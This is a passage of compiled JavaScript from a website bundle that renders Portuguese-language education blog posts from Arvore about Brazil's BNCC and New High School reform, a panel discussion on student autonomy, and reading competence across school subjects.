pr\\xe1tica. Voc\\xea j\\xe1 sabe como fazer isso na sua escola? Vamos conhecer os principais pontos do projeto e indicar caminhos para coloc\\xe1-lo em pr\\xe1tica. \",/*#__PURE__*/e(\"strong\",{children:\"‍\"})]}),/*#__PURE__*/e(\"h5\",{children:/*#__PURE__*/e(\"strong\",{children:\"Sum\\xe1rio \"})}),/*#__PURE__*/a(\"ul\",{children:[/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"BNCC e Novo Ensino M\\xe9dio: \\xe1reas do conhecimento\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Itiner\\xe1rios formativos e projeto de vida.\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"De onde vem a BNCC do ensino m\\xe9dio e o Novo Ensino M\\xe9dio?\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"O que voc\\xea n\\xe3o pode esquecer na hora de colocar essas mudan\\xe7as em pr\\xe1tica\"})})]}),/*#__PURE__*/e(\"p\",{children:\"‍\"}),/*#__PURE__*/e(\"p\",{children:\"O ano letivo de 2022 come\\xe7ar\\xe1 com muitas mudan\\xe7as nas escolas do pa\\xeds, principalmente no segmento do ensino m\\xe9dio. Ap\\xf3s anos de debate, estudo e planejamento, a Lei n\\xba 13.415, de 2017, que institui o Novo Ensino M\\xe9dio, come\\xe7ar\\xe1 a ser implementada. Ao mesmo tempo, desde 2020 as escolas brasileiras j\\xe1 se adaptam \\xe0s mudan\\xe7as propostas pela BNCC do ensino m\\xe9dio. \"}),/*#__PURE__*/a(\"p\",{children:[\"Essas mudan\\xe7as levaram \\xe0 constru\\xe7\\xe3o de um novo curr\\xedculo comprometido com a \",/*#__PURE__*/e(o,{href:\"https://arvore.com.br/blog/educacao/educacao-integral/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"educa\\xe7\\xe3o integral\"})}),\". Neste texto vamos entender um pouco mais sobre o contexto destas mudan\\xe7as e como o Novo Ensino M\\xe9dio ser\\xe1 organizado. Al\\xe9m disso, vamos compartilhar algumas dicas para a hora de colocar em pr\\xe1tica essas mudan\\xe7as. \\xa0\"]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"BNCC e Novo Ensino M\\xe9dio: \\xe1reas do conhecimento\"})}),/*#__PURE__*/e(\"p\",{children:\"A BNCC est\\xe1 pautada em compet\\xeancias voltadas para resolu\\xe7\\xe3o de demandas cotidianas que devem ser desenvolvidas ao longo de cada etapa do ensino. Portanto, para cada compet\\xeancia encontramos um conjunto de habilidades conectadas aos componentes curriculares. As compet\\xeancias podem ser gerais, comuns a todos os segmentos, ou espec\\xedficas do ensino m\\xe9dio. \"}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m disso, podem ser distribu\\xeddas em \\xe1reas do conhecimento, como: Linguagens e suas tecnologias, Matem\\xe1tica, Ci\\xeancias da Natureza, Ci\\xeancias Humanas e Sociais Aplicadas. No caso do ensino m\\xe9dio, os \\xfanicos conte\\xfados obrigat\\xf3rios nos tr\\xeas anos de ensino s\\xe3o os de L\\xedngua Portuguesa e Matem\\xe1tica.\"}),/*#__PURE__*/e(\"p\",{children:\"Uma das principais novidades ser\\xe1 o aumento da carga hor\\xe1ria total, que passa de 2.400 para 3.000 horas, distribu\\xeddas ao longo dos 3 anos. As habilidades e compet\\xeancias correspondem \\xe0 Forma\\xe7\\xe3o Geral B\\xe1sica (FGB), que ocupa 60% da carga hor\\xe1ria. As outras 1.200 horas ser\\xe3o ocupadas por itiner\\xe1rios formativos, a parte flex\\xedvel do curr\\xedculo. \"}),/*#__PURE__*/e(\"p\",{children:\"Os itiner\\xe1rios formativos s\\xe3o um conjunto tem\\xe1tico de componentes curriculares de uma ou mais \\xe1reas do conhecimento. Eles ser\\xe3o ofertados pelas escolas e escolhidos pelos alunos de acordo com seus interesses e afinidades. \"}),/*#__PURE__*/a(\"p\",{children:[\"‍\",/*#__PURE__*/e(\"strong\",{children:\"Leia Mais: \"}),/*#__PURE__*/e(o,{href:\"https://arvore.com.br/blog/educacao/como-o-novo-ensino-medio-afeta-o-ensino-fundamental/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:/*#__PURE__*/e(\"strong\",{children:\"Como o Novo Ensino M\\xe9dio afeta o Ensino Fundamental?\"})})})]}),/*#__PURE__*/e(\"img\",{alt:\"__wf_reserved_inherit\",className:\"framer-image\",src:\"https://framerusercontent.com/images/cWWohi9LBJmWz14Vgo5m7cHSOY.webp\",srcSet:\"https://framerusercontent.com/images/cWWohi9LBJmWz14Vgo5m7cHSOY.webp?scale-down-to=512 512w,https://framerusercontent.com/images/cWWohi9LBJmWz14Vgo5m7cHSOY.webp?scale-down-to=1024 1024w,https://framerusercontent.com/images/cWWohi9LBJmWz14Vgo5m7cHSOY.webp 1125w\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Itiner\\xe1rios formativos e projeto de vida\"})}),/*#__PURE__*/e(\"p\",{children:\"No Novo Ensino M\\xe9dio tamb\\xe9m ser\\xe1 poss\\xedvel oferecer itiner\\xe1rios formativos de forma\\xe7\\xe3o t\\xe9cnica e profissional, voltados para o mercado de trabalho. N\\xe3o existe limite \\xe0 carga hor\\xe1ria cursada nos itiner\\xe1rios formativos e nem a obrigatoriedade de curs\\xe1-los em uma \\xfanica institui\\xe7\\xe3o de ensino. Dessa forma, os alunos podem mudar de itiner\\xe1rios, cursar mais de um em institui\\xe7\\xf5es diferentes e, inclusive, retornar \\xe0 escola ap\\xf3s o t\\xe9rmino do ensino m\\xe9dio.\"}),/*#__PURE__*/e(\"p\",{children:\"A nova organiza\\xe7\\xe3o prev\\xea o desenvolvimento de um Projeto de Vida. Neste projeto, a escola estimula a constru\\xe7\\xe3o do indiv\\xedduo como agente da pr\\xf3pria vida e de suas escolhas. O Projeto de Vida \\xe9 um tempo destinado a discutir e estimular habilidades que os jovens precisam para resolver problemas de suas vidas pessoais. Assim, os jovens se sentir\\xe3o incentivados a assumir responsabilidades e enfrentar os desafios da vida. \"}),/*#__PURE__*/e(\"p\",{children:\"Afinal, sua constru\\xe7\\xe3o busca apoiar a autonomia do aluno. \\xc9 a partir dele que os alunos escolhem os itiner\\xe1rios formativos, sempre respeitando a autonomia dos estudantes. \"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"De onde vem a BNCC do ensino m\\xe9dio e o Novo Ensino M\\xe9dio? \"})}),/*#__PURE__*/e(\"p\",{children:\"O ensino m\\xe9dio tem sido um desafio para educa\\xe7\\xe3o brasileira. O segmento \\xe9 o que apresenta os maiores \\xedndices de evas\\xe3o escolar, impactando nas metas de universaliza\\xe7\\xe3o do ensino e gerando consequ\\xeancias n\\xe3o s\\xf3 para pol\\xedticas educacionais, mas para vida de estudantes e trabalhadores de todo o pa\\xeds. Seguindo o pressuposto constitucional de que a educa\\xe7\\xe3o \\xe9 um direito universal, desde 2013 se desdobram debates sobre como transformar o ensino m\\xe9dio em um segmento funcional para o cotidiano, apto ao combate \\xe0 evas\\xe3o escolar e voltado para forma\\xe7\\xe3o completa do indiv\\xedduo.\"}),/*#__PURE__*/e(\"p\",{children:\"A Base Nacional Comum Curricular (BNCC) estava prevista na Lei Diretrizes e Bases (LDB), de 1996. A base \\xe9 um texto fundamental para educa\\xe7\\xe3o de todo o pa\\xeds, indicando as habilidades e compet\\xeancias b\\xe1sicas necess\\xe1rias ao aprendizado de alunos de todas as etapas do ensino. \"}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m disso, a BNCC do ensino m\\xe9dio, homologada em 2018, resulta de um amplo processo de consulta p\\xfablica com objetivo de constru\\xe7\\xe3o de diretrizes curriculares para o segmento comprometidas com a educa\\xe7\\xe3o integral e a forma\\xe7\\xe3o para vida e o trabalho. \"}),/*#__PURE__*/a(\"p\",{children:[\"‍\",/*#__PURE__*/e(\"strong\",{children:\"Leia mais: \"}),/*#__PURE__*/e(o,{href:\"https://arvore.com.br/blog/gestao-escolar/orientacao-profissional-o-que-e-e-como-a-tecnologia-ajuda-neste-processo/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:/*#__PURE__*/e(\"strong\",{children:\"Orienta\\xe7\\xe3o profissional: o que \\xe9 e como a tecnologia ajuda neste processo!\"})})})]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"O que voc\\xea n\\xe3o pode esquecer na hora de colocar essas mudan\\xe7as em pr\\xe1tica\"})}),/*#__PURE__*/e(\"p\",{children:\"Para implementar o Novo Ensino M\\xe9dio na sua escola de forma eficaz e significativa, voc\\xea n\\xe3o pode esquecer dos princ\\xedpios da educa\\xe7\\xe3o integral: equidade, inclus\\xe3o, sustentabilidade e contemporaneidade. Al\\xe9m disso, podemos compartilhar as seguintes dicas: \"}),/*#__PURE__*/a(\"ul\",{children:[/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[\"N\\xe3o esque\\xe7a que nosso mundo \\xe9 mediado por plataformas digitais. Portanto, a \",/*#__PURE__*/e(o,{href:\"https://arvore.com.br/blog/educacao/como-a-tecnologia-pode-ajudar-na-sala-de-aula/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"tecnologia\"})}),\" deve fazer parte do cotidiano escolar e \\xe9 um dos pontos centrais da BNCC do ensino m\\xe9dio. Busque novas plataformas e solu\\xe7\\xf5es digitais.\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Lembre que o compromisso com a educa\\xe7\\xe3o integral est\\xe1 al\\xe9m dos componentes curriculares. Pense no entorno, no territ\\xf3rio em que sua escola est\\xe1 inserida e em como construir um curr\\xedculo que contemple habilidades e compet\\xeancias significativas para esse universo. \"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Ofere\\xe7a itiner\\xe1rios formativos conectados \\xe0 realidade do seu aluno e ao mundo do trabalho. Por isso, lembre que o objetivo \\xe9 tornar o segmento adapt\\xe1vel \\xe0 realidade de cada um, forne\\xe7a ferramentas para isso.\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"Elabore o projeto de vida junto aos seus alunos de forma cuidadosa. Tente encontrar um profissional adequado para o desenvolvimento da fun\\xe7\\xe3o, o Projeto de Vida \\xe9 um plano que busca pensar e impactar o futuro do aluno, auxiliando na constru\\xe7\\xe3o da pr\\xf3pria identidade.\"})})]}),/*#__PURE__*/e(\"p\",{children:\"Veja tamb\\xe9m o v\\xeddeo do nosso canal com Eduardo Deschamps:\"}),/*#__PURE__*/e(\"div\",{children:/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})}),/*#__PURE__*/e(\"h2\",{children:\"Encarando as mudan\\xe7as \"}),/*#__PURE__*/e(\"p\",{children:\"A princ\\xedpio as mudan\\xe7as no Novo Ensino M\\xe9dio podem parecer assustadoras, mas elas resultam de um amplo processo de participa\\xe7\\xe3o e ressignifica\\xe7\\xe3o das formas de aprendizado para os seus alunos. \"}),/*#__PURE__*/e(\"p\",{children:\"A BNCC do ensino m\\xe9dio visa garantir o compromisso com a contemporaneidade, dando ao aluno a autonomia para escolher os caminhos que quer tra\\xe7ar. Portanto, incentive e medie este processo no cotidiano! Para lidar com tantas mudan\\xe7as n\\xe3o h\\xe1 receita de bolo, estamos aprendendo juntos. Por isso, esteja aberto ao di\\xe1logo com seus pares e alunos na hora de tra\\xe7ar estrat\\xe9gias para enfrentar este desafio.\"}),/*#__PURE__*/e(\"p\",{children:\"‍\"}),/*#__PURE__*/a(\"p\",{children:[\"Se quiser aprender mais sobre o tema, \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/materiais/planejamento-do-novo-ensino-medio-nas-escolas?utm_source=blog_arvore&utm_medium=referral&utm_content=planilhanem_banner_blog&utm_campaign=marca_2022\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:/*#__PURE__*/e(\"strong\",{children:\"baixe agora nossa planilha de Planejamento do Novo Ensino M\\xe9dio.\"})})})]})]});export const richText12=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/a(\"p\",{children:['Eduardo Deschamps, Elaine Lima e Monique Evelle participaram da mesa “Novo ensino m\\xe9dio: apoiando a autonomia e escolha de carreiras\". O encontro aconteceu durante o congresso digital gratuito para educadores, ',/*#__PURE__*/e(o,{href:\"https://www.youtube.com/playlist?list=PL2ORSPg0TiIw1PvR7ERlhyY1GfNc4JWhI\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Conversas que Transformam\"})}),\". \"]}),/*#__PURE__*/a(\"p\",{children:[\"Neste papo, os convidados abordaram os principais desafios que envolvem a Lei n\\xba 13.415, de 2017, que institui o \",/*#__PURE__*/e(o,{href:\"https://arvore.com.br/blog/educacao/novo-ensino-medio-bncc/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Novo Ensino M\\xe9dio.\"})}),\" Al\\xe9m disso, tamb\\xe9m abordaram os caminhos para que os educadores possam auxiliar os estudantes em sua autonomia e escolha de carreira. Confira os principais pontos da conversa! \"]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Itiner\\xe1rios formativos e projetos de vida\"})}),/*#__PURE__*/a(\"p\",{children:[\"O primeiro pilar do Novo Ensino M\\xe9dio \\xe9 a flexibiliza\\xe7\\xe3o de curr\\xedculo. Visando abranger as diferentes realidades da juventude, o Novo Ensino M\\xe9dio prop\\xf5e que a carga hor\\xe1ria a ser cumprida inclua 1.200h dedicadas a uma \\xe1rea de interesse escolhida pelo aluno. Essa escolha acontece de acordo com suas prefer\\xeancias e possibilidades de carreira e s\\xe3o os \",/*#__PURE__*/e(\"strong\",{children:\"itiner\\xe1rios formativos\"}),\". \"]}),/*#__PURE__*/e(\"p\",{children:\"Neste modelo, o protagonista \\xe9 o estudante que poder\\xe1 trabalhar com mais possibilidades de escolha e ganhar\\xe1 maior autonomia para pensar seus projetos de vida. Dentre as op\\xe7\\xf5es, est\\xe1 a forma\\xe7\\xe3o t\\xe9cnica profissional, destacada pelo professor Eduardo Deschamps como uma possibilidade positiva para a porcentagem de alunos que terminam o ensino m\\xe9dio sem perspectiva ou interesse em seguir com ensino superior.\"}),/*#__PURE__*/a(\"p\",{children:[\"Nossos convidados tamb\\xe9m destacaram a import\\xe2ncia do professor neste novo processo. O educador ter\\xe1 o papel de auxiliar os estudantes em suas escolhas e possibilidades, escutando-os ativamente e estimulando o \",/*#__PURE__*/e(o,{href:\"https://arvore.com.br/blog/professores/importancia-de-desenvolver-autonomia-dos-alunos-e-competencias-socioemocionais/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"caminho aut\\xf4nomo\"})}),\".\"]}),/*#__PURE__*/e(\"img\",{alt:\"__wf_reserved_inherit\",className:\"framer-image\",src:\"https://framerusercontent.com/images/cWWohi9LBJmWz14Vgo5m7cHSOY.webp\",srcSet:\"https://framerusercontent.com/images/cWWohi9LBJmWz14Vgo5m7cHSOY.webp?scale-down-to=512 512w,https://framerusercontent.com/images/cWWohi9LBJmWz14Vgo5m7cHSOY.webp?scale-down-to=1024 1024w,https://framerusercontent.com/images/cWWohi9LBJmWz14Vgo5m7cHSOY.webp 1125w\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Principais desafios do Novo Ensino M\\xe9dio\"})}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})})})}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Estrutura \"})}),/*#__PURE__*/a(\"p\",{children:[\"Uma das principais novidades trazidas pela lei \\xe9 a \",/*#__PURE__*/e(\"strong\",{children:\"educa\\xe7\\xe3o em tempo integral\"}),\". Ou seja, a l\\xf3gica de que a educa\\xe7\\xe3o pode acontecer em outros ambientes, para al\\xe9m da escola, desde que haja intencionalidade pedag\\xf3gica. Entretanto, pairam d\\xfavidas quanto \\xe0 aplica\\xe7\\xe3o da educa\\xe7\\xe3o em tempo integral em escolas com pouca estrutura, como no caso das escolas p\\xfablicas.\"]}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})})})}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Aplica\\xe7\\xe3o\"})}),/*#__PURE__*/e(\"p\",{children:\"Por ser uma medida pouco prescritiva ainda h\\xe1 bastante d\\xfavida quanto \\xe0 implementa\\xe7\\xe3o e as possibilidades que as escolas ter\\xe3o. Os convidados destacam que caber\\xe1 \\xe0s escolas buscarem por alternativas de inova\\xe7\\xe3o que estejam alinhadas \\xe0 reforma e aos interesses dos estudantes. \"}),/*#__PURE__*/e(\"ul\",{children:/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})})})}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Forma\\xe7\\xe3o e prepara\\xe7\\xe3o de docentes\"})}),/*#__PURE__*/e(\"p\",{children:\"N\\xe3o existe ensino sem aprendizagem. O Novo Ensino M\\xe9dio exige uma mudan\\xe7a de mentalidade e os professores necessitam de prepara\\xe7\\xe3o para isso. Portanto, o indicado \\xe9 que os professores busquem o quanto antes por essas forma\\xe7\\xf5es. Assim, o processo de transi\\xe7\\xe3o ser\\xe1 mais tranquilo.\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Empreendedorismo e Autonomia\"})}),/*#__PURE__*/a(\"p\",{children:[\"No Novo Ensino M\\xe9dio, a autonomia dos estudantes ser\\xe1 valorizada e estimulada. Assim, h\\xe1 uma grande preocupa\\xe7\\xe3o em desenvolver nos estudantes as \",/*#__PURE__*/e(o,{href:\"https://arvore.com.br/blog/educacao/competencias-socioemocionais/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"compet\\xeancias socioemocionais\"})}),\". Essas compet\\xeancias s\\xe3o essenciais para que os estudante se tornem aptos para realizar suas pr\\xf3prias escolhas. Entre as compet\\xeancias est\\xe1 a\",/*#__PURE__*/e(\"strong\",{children:\" resolu\\xe7\\xe3o de problemas\"}),\", destacada pelos convidados como algo essencial para gerar o esp\\xedrito empreendedor nos estudantes, outra preocupa\\xe7\\xe3o da reforma.\"]}),/*#__PURE__*/a(\"p\",{children:[\"A convidada Monique Evelle destacou a import\\xe2ncia do \",/*#__PURE__*/e(o,{href:\"https://arvore.com.br/blog/educacao/empreendedorismo-na-educacao-como-incentivar-os-alunos/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"empreendedorismo\"})}),\" no desenvolvimento da criatividade e proatividade dos estudantes. Al\\xe9m disso, ela ressaltou o papel da escola no est\\xedmulo dessas habilidades.\"]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Enem e o Novo Ensino M\\xe9dio\"})}),/*#__PURE__*/e(\"p\",{children:\"At\\xe9 o momento n\\xe3o h\\xe1 uma matriz curricular para os itiner\\xe1rios, o que t\\xeam gerado bastante ang\\xfastia entre os estudantes quanto ao Enem. Elaine Lima, gestora escolar, ressalta que as escolas que j\\xe1 estejam trabalhando nas mudan\\xe7as previstas n\\xe3o ter\\xe3o grandes preocupa\\xe7\\xf5es.\"}),/*#__PURE__*/e(\"p\",{children:\"A princ\\xedpio, as mudan\\xe7as ser\\xe3o graduais. Portanto, o importante \\xe9 que habilidades essenciais para uma boa prova, como a investiga\\xe7\\xe3o cient\\xedfica, sejam estimuladas desde j\\xe1. Contudo, salientamos que n\\xe3o h\\xe1 previs\\xe3o para mudan\\xe7as na prova at\\xe9 o momento.\"}),/*#__PURE__*/e(\"p\",{children:\"Confira o papo na \\xedntegra:\"}),/*#__PURE__*/e(\"div\",{children:/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})})]});export const richText13=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"A compet\\xeancia leitora deve ser desenvolvida em todas as disciplinas. Leia o texto a seguir e descubra como educadores podem mediar a leitura e potencializar esse processo:\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"A leitura e seus processos\"})}),/*#__PURE__*/a(\"p\",{children:[\"Pesquisadores \",/*#__PURE__*/e(o,{href:\"https://revistapsicopedagogia.com.br/detalhes/662/contribuicoes-da-neurociencia-na-aprendizagem-da-leitura-na-fase-da-alfabetizacao\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"atestam\"})}),\" que a escrita e a \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/qual-a-importancia-da-leitura\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"leitura \"})}),\"s\\xe3o inven\\xe7\\xf5es culturais complexas. Ambas envolvem processos fonol\\xf3gicos, visuais, lingu\\xedsticos e sem\\xe2nticos. \"]}),/*#__PURE__*/a(\"p\",{children:[\"Delaine Cafiero diz que, em um \",/*#__PURE__*/e(o,{href:\"https://www.ceale.fae.ufmg.br/files/uploads/PNAIC%202017%202018/LEITURA-PROCESSO-form.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"processo de leitura\"})}),\", dois pontos devem ser considerados. O primeiro diz respeito ao texto em si. Qual \\xe9 a sua estrutura, como ele se organiza e qual \\xe9 a sua fun\\xe7\\xe3o social.\"]}),/*#__PURE__*/e(\"p\",{children:\"O segundo tem a ver com a pessoa leitora. Os processos cognitivos que ele ou ela realiza para compreender o que est\\xe1 lendo e os seus conhecimentos pr\\xe9vios.\"}),/*#__PURE__*/a(\"p\",{children:[\"Desse modo, podemos entender que \",/*#__PURE__*/e(\"em\",{children:\"aprender \"}),\"a ler demanda tempo e um ensino sistem\\xe1tico. O desenvolvimento da compet\\xeancia leitora, portanto, se d\\xe1 nos mais diferentes contextos sociais e de aprendizagem.\"]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"O que \\xe9 compet\\xeancia leitora?\"})}),/*#__PURE__*/a(\"p\",{children:[\"A \",/*#__PURE__*/e(o,{href:\"https://www.prolivro.org.br/wp-content/uploads/2021/06/Retratos_da_leitura_5__o_livro_IPL.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"pesquisa\"})}),\" Retratos da Leitura (2021) informa que mais de 40% dos entrevistados dizem que n\\xe3o leem pois t\\xeam dificuldades de compreens\\xe3o.\"]}),/*#__PURE__*/e(\"p\",{children:\"Tal cen\\xe1rio reflete uma urg\\xeancia. Afinal, gestores e educadores devem garantir que seus estudantes desenvolvam os procedimentos de leitura exigidos pela diversidade de g\\xeaneros discursivos. \"}),/*#__PURE__*/a(\"p\",{children:[\"Como identificar e formar um estudante proficiente em leitura, ent\\xe3o? Em seu artigo, Cafiero \",/*#__PURE__*/e(o,{href:\"https://www.ceale.fae.ufmg.br/files/uploads/PNAIC%202017%202018/LEITURA-PROCESSO-form.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"define\"})}),\" que\"]}),/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"em\",{children:\"“(...) um leitor competente possui habilidades, atitudes e valores diversos. Habilidade \\xe9 um saber fazer. Ter compet\\xeancia significa mobilizar um conjunto de habilidades em fun\\xe7\\xe3o de determinado objetivo, para resolver problemas. O leitor competente \\xe9 capaz de executar diversas a\\xe7\\xf5es sobre o texto, para compreend\\xea-lo.”\"})})]});export const richText14=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Como desenvolver a compet\\xeancia leitora na escola?\"})}),/*#__PURE__*/e(\"p\",{children:\"Um leitor em desenvolvimento dever\\xe1 apreender diversos g\\xeaneros discursivos, textuais e os mais variados procedimentos de leitura.\"}),/*#__PURE__*/e(\"p\",{children:\"Pensando nisso conclu\\xedmos que, durante o processo de escolariza\\xe7\\xe3o, atividades que visam a aprendizagem leitora devem estar presentes em todas as disciplinas. \"}),/*#__PURE__*/a(\"p\",{children:[\"Ou seja, professores de diferentes \\xe1reas do conhecimento t\\xeam a miss\\xe3o de \",/*#__PURE__*/e(\"em\",{children:\"ensinar o aluno a ler\"}),\". Mas como inserir a leitura nas aulas de matem\\xe1tica? E de biologia? \"]}),/*#__PURE__*/a(\"p\",{children:[\"A seguir, exemplificamos alguns cen\\xe1rios que mobilizam o desenvolvimento da compet\\xeancia leitora nas diferentes disciplinas. Tudo isso considerando o que traz a \",/*#__PURE__*/e(o,{href:\"http://basenacionalcomum.mec.gov.br/images/BNCC_EI_EF_110518_versaofinal_site.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Base Nacional Comum Curricular\"})}),\".\"]}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"1 - Linguagens\"})}),/*#__PURE__*/a(\"p\",{children:[\"Os componentes l\\xedngua portuguesa e l\\xedngua inglesa assumem o \",/*#__PURE__*/e(\"strong\",{children:\"texto \"}),\"como objeto central de trabalho.\"]}),/*#__PURE__*/e(\"p\",{children:\"Em portugu\\xeas, para contextualizar o ensino da l\\xedngua, a base aponta diferentes campos de atua\\xe7\\xe3o social da palavra. As pr\\xe1ticas de estudo e pesquisa, a vida p\\xfablica, a vida cotidiana, o campo art\\xedstico, liter\\xe1rio e o campo jornal\\xedstico.\"}),/*#__PURE__*/e(\"p\",{children:\"Professores da l\\xedngua portuguesa devem realizar pr\\xe1ticas de leituras passeando pelos diferentes g\\xeaneros liter\\xe1rios e campos de atua\\xe7\\xe3o. Assim, ir\\xe1 desenvolver de forma completa a compet\\xeancia leitora do estudante.\"}),/*#__PURE__*/e(\"p\",{children:\"Por exemplo: um educador pode propor a leitura de um texto do g\\xeanero poesia. Em seguida, ele pode mediar a investiga\\xe7\\xe3o dos recursos lingu\\xedsticos pr\\xf3prios de um texto po\\xe9tico. Al\\xe9m disso, pode investigar a vida e obra de seu autor ou autora.\"}),/*#__PURE__*/e(\"p\",{children:\"Dessa forma, o estudante compreender\\xe1 a estrutura de um poema, seu contexto e quais os temas que s\\xe3o tratados. E, ao mesmo tempo, o professor ensina a gram\\xe1tica exigida pelo curr\\xedculo. \"}),/*#__PURE__*/e(\"p\",{children:\"Quando falamos do componente Artes, estamos falando tamb\\xe9m da leitura de imagens. Sabemos que a express\\xe3o visual \\xe9 um elemento de comunica\\xe7\\xe3o fundamental na nossa cultura. \"}),/*#__PURE__*/e(\"p\",{children:\"O livro ilustrado, uma pintura ou uma fotografia podem ser excelentes aliados para entrar em contato com diferentes est\\xe9ticas de representa\\xe7\\xe3o.\"}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m disso, pr\\xe1ticas de leitura de imagens ir\\xe3o desenvolver novas formas de express\\xe3o e oportunizar experi\\xeancias est\\xe9ticas de frui\\xe7\\xe3o.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"2 - Ci\\xeancias Humanas\"})}),/*#__PURE__*/e(\"p\",{children:\"Nas ci\\xeancias humanas, a leitura e interpreta\\xe7\\xe3o de textos \\xe9 uma pr\\xe1tica cotidiana. A an\\xe1lise do tempo e do espa\\xe7o exige a leitura de mapas, textos 